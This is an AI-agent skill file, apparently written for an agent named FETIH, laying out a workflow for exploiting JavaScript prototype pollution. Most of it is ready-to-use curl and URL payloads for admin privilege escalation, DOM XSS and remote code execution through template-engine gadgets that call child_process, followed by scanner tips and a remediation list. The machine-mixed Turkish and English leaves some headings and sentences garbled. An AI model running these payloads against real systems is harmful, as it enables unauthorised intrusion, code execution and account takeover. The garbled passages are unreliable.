Exploiting Prototype Pollution In Javascript

---
name: exploiting-prototype-pollution-in-javascript
description: tespit etme
and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
tags:
- prototype-pollution
- property-injection
- rce
- server-side-pollution
- node-js
- javascript
- siber-güvenlik
- fetih
- dom-xss
- web-application-security
- cybersecurity
- xss
triggers:
- CSRF
- SQL injection
- XSS
- alert
- api
- authentication
- email
- exploit
- exploiting
- hash
- http
- javascript
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Prototype Pollution in Javascript


## Ne Zaman Kullanılır
- testing yaparken Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- testing yaparken client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- evaluating yaparken: npm packages for prototype pollution gadgets

## Ön Gereksinimler
- Burp Suite with DOM Invader extension for client-side prototype pollution Tespit
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Bilgi: common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side Tespit
- Browser developer console for client-side prototype manipulation


> **Legal Notice:** bu skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## İş Akışı

### Adım 1 — Identify Prototype Pollution Sources
```javascript
// Client-side: Test URL-based sources
// Şuraya git:: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
```

### Adım 2 — Test Server-Side Prototype Pollution
```bash
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'

curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

### Adım 3 — Exploit Client-Side for DOM XSS
```javascript
// Adım 1: Bul: pollution source (URL parameter, JSON input, postMessage)
// Adım 2: Bul: a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-tespit etme (s) sources
// 4. Click "Scan for gadgets" to Bul: exploitable sinks
```

### Adım 4 — Exploit Server-Side for RCE
```bash
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```

### Adım 5 — Exploit for Authentication and Authorization Bypass
```bash
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
```

### Adım 6 — tespit etme
with Automated Tools
```bash
ppfuzz -l urls.txt -o results.txt

echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml


curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| __proto__ | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| DOM Invader | Burp Suite built-in tool for Tespit etme client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget Tespit |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side Tespit |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |

## Common Scenarios

1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives

## Output Format

```
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Bul:ings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### İyileştirme
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
```

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: 8f366a6999723746
-->